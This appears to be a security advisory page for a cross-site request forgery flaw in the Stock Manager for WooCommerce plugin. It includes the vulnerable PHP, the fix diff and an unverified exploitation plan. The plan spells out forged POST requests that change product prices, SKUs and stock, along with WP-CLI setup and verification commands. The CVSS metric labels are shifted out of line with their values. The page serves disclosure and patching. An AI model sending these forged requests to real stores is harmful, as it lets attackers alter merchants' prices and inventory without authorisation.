CVE-2026-24365

Stock Manager for WooCommerce < 3.6.0 - Cross-Site Request Forgery

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.6.0
Patched in
26d
Time to patch

Description

The Stock Manager for WooCommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to 3.6.0 (exclusive). This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<3.6.0
PublishedJanuary 9, 2026
Last updatedFebruary 3, 2026

What Changed in the Fix

Changes introduced in v3.6.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-24365 (Stock Manager for WooCommerce CSRF) ## 1. Vulnerability Summary The **Stock Manager for WooCommerce** plugin (versions < 3.6.0) is vulnerable to Cross-Site Request Forgery (CSRF). The vulnerability exists in the plugin's administration logic where it pr…

Show full research plan

Exploitation Research Plan: CVE-2026-24365 (Stock Manager for WooCommerce CSRF)

1. Vulnerability Summary

The Stock Manager for WooCommerce plugin (versions < 3.6.0) is vulnerable to Cross-Site Request Forgery (CSRF). The vulnerability exists in the plugin's administration logic where it processes product updates. Specifically, the file admin/views/admin.php handles $_POST data to update product attributes (prices, stock, SKUs) without any nonce validation. An attacker can trick a logged-in administrator or shop manager into submitting a crafted POST request, leading to unauthorized modification of store inventory data.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin.php?page=stock-manager
  • Method: POST
  • Vulnerable Hook: The code is triggered during the rendering of the stock-manager admin page, which occurs when admin/views/admin.php is included.
  • Authentication Required: Administrator or Shop Manager (anyone with access to the Stock Manager menu).
  • Impact: Change product prices, stock status, stock quantities, and SKUs across the entire store.

3. Code Flow

  1. When an admin navigates to the "Stock Manager" page, WordPress loads the registered menu page.
  2. The plugin's main class Stock_Manager_Admin (in admin/class-stock-manager-admin.php) manages the page rendering.
  3. The file admin/views/admin.php is included to render the interface.
  4. At the beginning of admin/views/admin.php (lines 14-20), the following logic executes:
    $product_id = ( ! empty( $_POST['product_id'] ) ) ? wc_clean( wp_unslash( $_POST['product_id'] ) ) : 0;
    $product    = ( ! empty( $_POST ) ) ? wc_clean( wp_unslash( $_POST ) ) : array();
    if ( ! empty( $product_id ) ) {
        $stock->save_all( $product );
    }
    
  5. $stock is an instance of WSM_Stock. The method save_all (in admin/includes/class-wsm-stock.php) is called:
    public function save_all( $data ) {
        $post = ( ! empty( $_POST ) ) ? wc_clean( wp_unslash( $_POST ) ) : array();
        foreach ( $data['product_id'] as $item ) {
            WSM_Save::save_one_item( $post, $item );
        }
    }
    
  6. WSM_Save::save_one_item calls save_data, which uses WooCommerce CRUD methods (e.g., $_product->set_regular_price(), $_product->save()) to commit changes to the database.
  7. Critical Failure: There is no call to check_admin_referer() or wp_verify_nonce() before the save_all call.

4. Nonce Acquisition Strategy

This vulnerability is characterized by the complete absence of a nonce check for the product update action in admin/views/admin.php. Therefore, no nonce acquisition is required to exploit this specific vector.

5. Exploitation Strategy

The goal is to demonstrate that an unauthenticated attacker can force an admin to change a product's price to 0.01 and its SKU to PWNED.

Step-by-Step Plan:

  1. Identify Target Product: Find a valid product ID (e.g., ID 123).
  2. Craft POST Request: The request must target the admin page URL and include the product_id array along with the fields to be modified.
  3. Execute via Admin Session: Use the http_request tool (simulating a victim admin session) to send the payload.

Request Details:

  • URL: http://[target-site]/wp-admin/admin.php?page=stock-manager
  • Method: POST
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • product_id[]: 123 (The ID of the target product)
    • regular_price: 0.01
    • sku: PWNED-SKU
    • manage_stock: yes
    • stock: 9999

6. Test Data Setup

  1. Ensure WooCommerce is installed and configured.
  2. Install Stock Manager for WooCommerce version 3.5.0 or lower.
  3. Create a test product:
    wp eval '
    $product = new WC_Product_Simple();
    $product->set_name("Target Product");
    $product->set_regular_price("100.00");
    $product->set_sku("ORIGINAL-SKU");
    $product->save();
    echo $product->get_id();
    '
    
  4. Identify the ID returned by the command above.

7. Expected Results

  • The server should respond with a 200 OK (as it continues to render the admin page).
  • The product with the specified ID will have its price updated to 0.01 and SKU updated to PWNED-SKU.

8. Verification Steps

After the http_request, verify the change using WP-CLI:

# Check price and SKU
wp eval '
$product = wc_get_product(TARGET_ID);
printf("SKU: %s, Price: %s\n", $product->get_sku(), $product->get_regular_price());
'

Successful exploitation will show: SKU: PWNED-SKU, Price: 0.01.

9. Alternative Approaches

The file admin/views/admin.php also contains another unprotected action:

  • Action: save_filter_display
  • Parameter: page-filter-display
  • Impact: Modifies the wsm_display_option WordPress option, allowing an attacker to change which columns (thumbnails, prices, weight) are visible to the administrator in the plugin's dashboard.

Request for Alternative:

  • URL: http://[target-site]/wp-admin/admin.php?page=stock-manager
  • Body: page-filter-display=1&price=no&weight=no
  • Verification: wp option get wsm_display_option
Research Findings
Static analysis — not yet PoC-verified

Summary

The Stock Manager for WooCommerce plugin is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 3.6.0. The administration logic responsible for updating product attributes and display options fails to perform nonce validation, allowing attackers to modify store inventory data (prices, SKUs, stock levels) by tricking a logged-in administrator into visiting a malicious link.

Vulnerable Code

// admin/views/admin.php lines 16-32
$product_id = ( ! empty( $_POST['product_id'] ) ) ? wc_clean( wp_unslash( $_POST['product_id'] ) ) : 0; // phpcs:ignore
$product    = ( ! empty( $_POST ) ) ? wc_clean( wp_unslash( $_POST ) ) : array(); // phpcs:ignore
if ( ! empty( $product_id ) ) {
	$stock->save_all( $product );
	// add redirect.
}

/**
 * Save display option.
 */
$page_filter_display = ( ! empty( $_POST['page-filter-display'] ) ) ? wc_clean( wp_unslash( $_POST['page-filter-display'] ) ) : ''; // phpcs:ignore
if ( ! empty( $page_filter_display ) ) {
	$stock->save_filter_display( $product );
}

---

// admin/includes/class-wsm-stock.php lines 206-213
	public function save_all( $data ) {
		$post = ( ! empty( $_POST ) ) ? wc_clean( wp_unslash( $_POST ) ) : array(); // phpcs:ignore
		foreach ( $data['product_id'] as $item ) {
			WSM_Save::save_one_item( $post, $item );
		}
	}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-stock-manager/3.5.0/admin/class-stock-manager-admin.php /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-stock-manager/3.6.0/admin/class-stock-manager-admin.php
--- /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-stock-manager/3.5.0/admin/class-stock-manager-admin.php	2025-11-13 12:15:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-stock-manager/3.6.0/admin/class-stock-manager-admin.php	2026-01-07 13:43:04.000000000 +0000
@@ -134,7 +134,7 @@
 								'hide_empty' => false,
 							)
 						),
-						function( $carry, $item ) {
+						function ( $carry, $item ) {
 							$carry[ $item->term_id ] = html_entity_decode( $item->name );
 							return $carry;
 						},
@@ -151,7 +151,7 @@
 									'hide_empty' => false,
 								)
 							),
-							function( $carry, $item ) {
+							function ( $carry, $item ) {
 								$carry[ $item->slug ] = $item->name;
 								return $carry;
 							},
@@ -280,7 +280,7 @@
 		// Show screen option for React App.
 		add_action(
 			'load-' . $hook,
-			function() {
+			function () {
 				add_filter(
 					'screen_options_show_screen',
 					function () {
@@ -462,7 +462,6 @@
 		}
 
 		return $wsm_rating_text;
-
 	}
 
 	/**
@@ -489,7 +488,6 @@
 		}
 
 		return $wsm_text;
-
 	}
 
 	/**
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-stock-manager/3.5.0/admin/includes/class-wsm-stock.php /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-stock-manager/3.6.0/admin/includes/class-wsm-stock.php
--- /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-stock-manager/3.5.0/admin/includes/class-wsm-stock.php	2021-10-15 08:13:24.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-stock-manager/3.6.0/admin/includes/class-wsm-stock.php	2026-01-07 13:43:04.000000000 +0000
@@ -203,18 +200,6 @@
 	}
 
 	/**
-	 * Save all meta data.
-	 -
-	 * @param array $data The column key to name map.
-	 */
-	public function save_all( $data ) {
-		$post = ( ! empty( $_POST ) ) ? wc_clean( wp_unslash( $_POST ) ) : array(); // phpcs:ignore
-		foreach ( $data['product_id'] as $item ) {
-			WSM_Save::save_one_item( $post, $item );
-		}
-	}
-
-	/**
 	 * Save all meta data
 	 *
 	 * @param array $data The column display data.
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-stock-manager/3.5.0/admin/views/admin.php /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-stock-manager/3.6.0/admin/views/admin.php
--- /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-stock-manager/3.5.0/admin/views/admin.php	2025-04-25 07:25:26.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-stock-manager/3.6.0/admin/views/admin.php	2026-01-07 13:43:04.000000000 +0000
@@ -13,23 +13,6 @@
 	exit;
 }
 
-$stock = $this->stock();
-
-/**
- * Save all data.
- */
-$product_id = ( ! empty( $_POST['product_id'] ) ) ? wc_clean( wp_unslash( $_POST['product_id'] ) ) : 0; // phpcs:ignore
-$product    = ( ! empty( $_POST ) ) ? wc_clean( wp_unslash( $_POST ) ) : array(); // phpcs:ignore
-if ( ! empty( $product_id ) ) {
-	$stock->save_all( $product );
-	// add redirect.
-}
-
-/**
- * Save display option.
- */
-$page_filter_display = ( ! empty( $_POST['page-filter-display'] ) ) ? wc_clean( wp_unslash( $_POST['page-filter-display'] ) ) : ''; // phpcs:ignore
-if ( ! empty( $page_filter_display ) ) {
-	$stock->save_filter_display( $product );
-}
-
 ?>
 <div class="wrap">
 	<h2><?php echo esc_html( get_admin_page_title() ); ?></h2>

Exploit Outline

To exploit this CSRF vulnerability, an attacker must craft a POST request targeting the `/wp-admin/admin.php?page=stock-manager` endpoint. The request payload must include an array of target product IDs in the `product_id[]` parameter, along with the desired attributes to change (e.g., `regular_price`, `sku`, `stock`, `manage_stock`). Since the plugin does not verify nonces during the processing of this request in `admin/views/admin.php`, the attacker can use social engineering to trick a logged-in administrator or shop manager into executing the request. Successful execution allows for unauthorized modification of product prices and inventory levels.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.